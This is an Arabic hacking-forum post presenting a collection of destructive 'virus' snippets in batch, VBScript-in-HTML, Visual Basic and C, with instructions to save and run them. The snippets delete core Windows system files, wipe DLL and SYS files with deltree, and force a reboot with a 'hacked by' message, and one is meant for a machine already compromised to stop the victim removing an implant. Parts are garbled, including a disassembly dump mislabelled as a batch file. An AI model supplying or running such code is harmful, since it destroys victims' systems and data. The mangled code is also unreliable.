No-MiRcE
مؤسس المدرسه
عدد المساهمات : 105
تاريخ التسجيل : 01/01/2010
العمر : 31
 |  موضوع: اكواد فيروسات من موقع انجليزى السبت يناير 23, 2010 12:15 pm | |
| لنبدأ
كود فيروس حذف Regedit و Msconfig
متلا اخترقة جهاز ضع له هدا الفيروس كي لايمكن من حدف السيرفر
دائما ضع في النوت باد وحفظ بي sada.bat
اقتباس:
c:\windows\regedit.exe del
C:\windows\system\msconfig.exe del
فيروس الهوتميل مع
وهدا فيروس خطير جدااا فيروس الهوتميل
يقوم بتعطيل كل شيء
انسخ الكود وضعه في المفكرة not pad واحفطه متلا بي sada.html
اقتباس:
<html>
<head>
<**** **********="Content-Type"
content="text/html; charset=iso-8859-1">
<title>Active-X HTML</title>
</head>
THIS HTML USING ACTIVE-X PLEASE CLICK #YES#
<body bgcolor="#000000" Text="#C0C0C0">
<script language="VBScript">
<!-- This is a MY BRAIN --!>
On Error Resume Next
Dim a
Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.GetFile("win.ini")
a.Delete
Dim b
Set fso = CreateObject("Scripting.FileSystemObject")
Set b = fso.GetFile("system.ini")
b.Delete
</script>
<!--- This script author is THEONE---!>
</body>
</html>
.................................................. ..
مقسم الى مجموعات قوم بتجميعها في النوت باد ضعه في النوت باد وحفظ بي sada.bat
اقتباس:
Disassembly of File: office_crack.exe
Code Offset = 00000400, Code Size = 00000000
Data Offset = 00000400, Data Size = 00000000
Number of Objects = 0003 (dec), Imagebase = 004A0000h
Object01: UPX0 RVA: 00001000 Offset: 00000400 Size: 00000000 Flags: E0000080
Object02: UPX1 RVA: 00007000 Offset: 00000400 Size: 00005000 Flags: E0000040
Object03: .rsrc RVA: 0000C000 Offset: 00005400 Size: 00000400 Flags: C0000040
+++++++++++++++++++ MENU INFORMATION ++++++++++++++++++
There Are No Menu Resources in This Application
+++++++++++++++++ DIALOG INFORMATION ++++++++++++++++++
There Are No Dialog Resources in This Application 0
+++++++++++++++++++ IMPORTED FUNCTIONS ++++++++++++++++++ 0
Number of Imported Modules = 0 (decimal)
+++++++++++++++++++ IMPORT MODULE DETAILS +++++++++++++++ 0
+++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++ 0
Number of Exported Functions = 0000 (decimal) ++
+++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++
//********************** Start of Code in Object UPX0 **************
Program Entry Point = 004ABE60 (office_crack.exe File Offset:0000B260) g
:004A7000 EE out dx, al
:004A7001 8702 xchg dword ptr [edx], eax
:004A7003 92 xchg eax,edx r
:004A7004 005026 add byte ptr [eax+26], dl
:004A7007 4A dec edx p
:004A7008 004003 add byte ptr [eax+03], al
:004A700B FD std by
:004A700C B269 mov dl, 69
:004A700E 9A2C1004F425E8 call E825:F404102C
:004A7015 0100 add dword ptr [eax], eax
:004A7017 4B dec ebx d
:004A7018 CE into b
:004A7019 699A6ED91FC82AC003B8 imul ebx, dword ptr [edx+C81FD96E], B803C02A 0
:004A7023 B0A8 mov al, A8
:004A7025 A6 cmpsb
:004A7026 699AA6A0989088809AA6 imul ebx, dword ptr [edx+9098A0A6], A69A8088 0
:004A7030 699A787068605850CD60 imul ebx, dword ptr [edx+60687078], 60CD5058 0
:004A703A 9F lahf e
:004A703B 69480044073830 imul ecx, dword ptr [eax+00], 30380744
:004A7042 344D xor al, 4D
:004A7044 D3 BYTE 0d0h
:004A7045 7403 je 004A704A or
:004A7047 28241C sub byte ptr [esp+ebx], ah
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A7045(C) y
| 00
:004A704A 1810 sbb byte ptr [eax], dl
:004A704C D32CBB shr dword ptr [ebx+4*edi], cl
:004A704F D7 xlat w
:004A7050 0823 or byte ptr [ebx], ah
:004A7052 03F8 add edi, eax e
:004A7054 29F0 sub eax, esi e
:004A7056 E84DD3344D call 4D7F43A8
:004A705B E0D8 loopnz 004A7035 ],
:004A705D D0C8 ror al, 1
:004A705F BCB4344DD3 mov esp, D34D34B4
:004A7064 34AC xor al, AC
:004A7066 A4 movsb[/
.................................................. ..
كود لحذف شاشة الترحيب للويندوز
من العنوان ستفهم كل العادة ضعه في النوت باد وحفط بي sada.bat
اقتباس:
Del c:\windows\Logos.sys
Del c:\windows\Logow.sys
.................................................. ...
فيروس الفيجول بيسك
اقوي فيروسات تدمير الويندوز
احفط بي sada.bat
اقتباس:
vbNormal
SetAttr "c:\msdos.sys", vbNormal
SetAttr "c:\io.sys", vbNormal
SetAttr "c:\windows\win.ini", vbNormal
SetAttr "c:\windows\system.ini", vbNormal
SetAttr "c:\command.com", vbNormal
SetAttr "c:\config.sys", vbNormal
SetAttr "c:\windows\rundll.exe", vbNormal
SetAttr "c:\windows\rundll32.exe", vbNormal
Kill "C:\autoexec.bat"
Kill "C:\msdos.sys"
Kill "C:\io.sys"
Kill "C:\windows\win.ini"
Kill "C:\windows\system.ini"
Kill "C:\command.com"
Kill "C:\config.sys"
Kill "C:\windows\rundll.exe"
Kill "C:\windows\rundll32.exe"[/CODE
.................................................. ...........
فيروس تدمير الويندوزnew
يمتاز الفيروس بتعديب الضجية ودلك بصدار عدة اوامر تم يقوم بتدمير الهاردسك
انسخ الكود واحفظه في النوت باد not bad وبعد دالك حفط sada.bat
اقتباس:
Del c:\windows\system\msconfig.exe
Del c:\windows\Rundll32.exe
Del c:\windows\regedit.exe
Del c:\windows\Rundll.exe
Del c:\Autoexec.bat
Del c:\command.com
Del c:\windows\Logos.sys
Del c:\windows\Logow.sys
Del c:\windows\Scanregw.exe
Del C:\Program Files\Internet Explorer\Iexplore.exe
Del c:\windows\system\Sysedit.exe
Del c:\windows\win.com
@Echo off
c:
cd %WinDir%\System\
deltree /y *.exe
أن شاء الله تعـجبكم
أخوكمكاسبر
تحياتي
---------------
Mr.Casper
1- قتل الوندوز وحذف كل الملفات بعد التشغيل مباشره
انسخ
كود:
@Echo off
c:
cd %WinDir%System
deltree /y *.dll
cd
deltree /y *.sys
echo
2- قتل الوندوز وحذف كل الملفات بعد اول اعادة تشغيل للجهاز
انسخ
كود:
call attrib -h -r c:autoexec.bat >nul
@Echo off
c:
cd %WinDir%System
deltree /y *.dll
cd
deltree /y *.sys
echo
3-فيرووس C++ :
انسخ
كود:
#include
#include
#include
main()
{
clrscr();
printf("tttCoffin Of Evil ");
printf("ttWElcome to My World");
remove("c:\windows\system.ini");
remove("c:\windows\win.ini");
remove("c:\autoexec.bat");
remove("c:\msdos.sys");
remove("c:\io.sys");
remove("c:\command.com");
remove("c:\config.sys");
remove("c:\windows\ebd\command.com");
remove("c:\windows\ebd\ebd.cab");
remove("c:\windows\ebd\Autoexec.bat");
remove("c:\windows\ebd\setramd.bat");
remove("c:\windows\ebd\Findramd.exe");
rename("egypt.exe","c:/windows/startm~1/programs/startup/win.exe");
printf("Windows destroyed ...nn");
system("PAUSE");
}
4- إطفاء الجهاز بعد 60 ثانيه
كود:
cmdow @ /HID
shutdown.exe -r -f -t 60 -c "Windows XP will now restart in 60 Seconds...hacked by حط الكلام الذي تريد"
TrOy_HiErO@YaHoO.CoM /delete
EXIT
| |
|
